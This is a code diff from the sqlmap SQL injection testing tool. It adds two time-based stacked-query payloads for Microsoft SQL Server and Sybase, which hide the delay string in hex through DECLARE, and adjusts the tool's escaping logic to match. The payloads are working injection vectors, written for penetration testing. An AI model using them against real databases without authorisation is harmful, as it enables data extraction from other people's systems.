diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml
index 1471df7d0..88729619b 100644
--- a/data/xml/payloads/stacked_queries.xml
+++ b/data/xml/payloads/stacked_queries.xml
@@ -268,6 +268,28 @@
         </details>
     </test>
 
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)</title>
+        <stype>4</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
+        <request>
+            <payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+            <os>Windows</os>
+        </details>
+    </test>
+
     <test>
         <title>Microsoft SQL Server/Sybase stacked queries</title>
         <stype>4</stype>
@@ -289,6 +311,27 @@
         </details>
     </test>
 
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (DECLARE)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
+        <request>
+            <payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+            <os>Windows</os>
+        </details>
+    </test>
+
     <test>
         <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
         <stype>4</stype>
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 9519f4765..2b343a082 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.3.6.53"
+VERSION = "1.3.6.54"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -420,7 +420,7 @@ MIN_ERROR_CHUNK_LENGTH = 8
 MAX_ERROR_CHUNK_LENGTH = 1024
 
 # Do not escape the injected statement if it contains any of the following SQL keywords
-EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
+EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
 
 # Mark used for replacement of reflected values
 REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py
index b4e916104..fcbaf4adc 100644
--- a/plugins/generic/syntax.py
+++ b/plugins/generic/syntax.py
@@ -26,7 +26,7 @@ class Syntax(object):
         if quote:
             for item in re.findall(r"'[^']*'+", expression):
                 original = item[1:-1]
-                if original:
+                if original and re.search(r"\[(SLEEPTIME|RAND)", original) is None:  # e.g. '[SLEEPTIME]' marker
                     replacement = escaper(original) if not conf.noEscape else original
 
                     if replacement != original: